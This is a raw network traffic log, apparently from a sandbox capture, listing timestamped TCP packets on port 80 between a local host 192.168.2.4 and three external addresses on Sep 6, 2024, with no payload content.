Sep 6, 2024 08:17:06.253667116 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253678083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253705025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253739119 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253802061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253813982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253824949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253837109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253845930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253854990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253865957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253871918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253876925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253890038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253901005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253901005 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253911972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253917933 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253923893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253935099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253941059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253946066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253963947 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253983021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254141092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254151106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254173040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254183054 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254184961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254195929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254209995 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254220963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254226923 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254231930 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254245043 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254251957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254261971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254275084 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254293919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254312992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254324913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254337072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254349947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254358053 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254362106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254374027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254384041 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254393101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254414082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254420042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254425049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254436016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254447937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254458904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254463911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254475117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254482985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254492044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254523993 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254712105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254753113 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254839897 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254852057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254863024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254873991 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254893064 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254894972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254906893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254918098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254928112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254930019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254940033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254940987 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254940987 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254956961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254970074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254972935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.254981041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254992008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.254993916 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.255008936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.255021095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.255044937 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.256263971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256273985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256283998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256315947 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256319046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256331921 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256339073 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256342888 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256371975 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256396055 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256536961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256587029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256597996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256628036 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256647110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256654024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256665945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256675959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256688118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256695986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256724119 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256741047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256752014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256762028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256773949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256788969 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256791115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256803036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256814003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.256815910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256829023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.256860971 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.269582033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.269629002 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.276633978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276654005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276670933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276683092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276715040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276715994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276726961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276737928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276751041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276761055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276781082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276806116 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276815891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276827097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276838064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276849031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276853085 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276859999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.276865959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276885986 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.276906967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.277020931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277031898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277041912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277053118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277065039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277070045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.277075052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277086020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277101040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277102947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.277112961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.277112961 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.277136087 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.277158022 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.278947115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.278958082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.278974056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.278985023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.278994083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.278999090 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279016972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279026985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279027939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279062033 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279099941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279114962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279124975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279138088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279139042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279149055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279159069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279171944 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279185057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279196024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279200077 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279218912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279225111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279238939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279242039 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279251099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279261112 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279277086 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279278040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279294968 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279308081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279311895 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279320002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279355049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279371977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279388905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279400110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279413939 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279424906 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279436111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279442072 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279445887 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279469013 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279484034 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279501915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279512882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279522896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279535055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279551029 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279572010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279576063 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279582977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279592991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279619932 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279630899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279634953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279645920 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279655933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279665947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279671907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279690027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279711962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279738903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279750109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279761076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279771090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279774904 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279783010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279793024 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279818058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279820919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279829025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279853106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279880047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279897928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279908895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279920101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279932022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.279938936 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279958963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.279993057 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280021906 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280035019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280045033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280056953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280061007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280067921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280077934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280091047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280097008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280101061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280113935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280131102 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280148983 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280164957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280175924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280186892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280210972 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280214071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280225039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280230045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280280113 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280283928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280296087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280313969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280317068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280324936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280335903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280340910 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280359030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280370951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280381918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280381918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280411959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280519009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280529976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280539036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280556917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280569077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280577898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280589104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280601025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280611038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280690908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280699968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280716896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280723095 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280728102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280739069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280750036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280756950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280766010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280776978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.280782938 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.280811071 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.281622887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281641006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281651974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281672001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.281699896 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.281755924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281771898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281784058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281795025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281807899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281820059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.281848907 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.281886101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281898975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281909943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281922102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281934023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.281939983 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.281939983 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.281985044 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.286350965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286360979 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286402941 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286407948 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286439896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286447048 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286483049 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286497116 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286509037 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286535978 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286557913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286557913 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286569118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286580086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286590099 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286609888 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286637068 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286638021 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286648989 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286659956 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286674976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286685944 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286686897 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286695957 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286717892 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.286731958 CEST	49739	80	192.168.2.4	31.41.244.9
